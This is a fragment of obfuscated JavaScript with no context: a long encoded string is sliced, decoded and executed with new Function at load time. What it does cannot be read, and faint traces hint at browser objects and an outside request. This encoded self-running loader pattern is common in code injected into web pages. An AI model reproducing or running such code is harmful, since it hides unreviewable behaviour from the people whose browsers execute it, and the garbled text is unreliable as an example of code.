Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();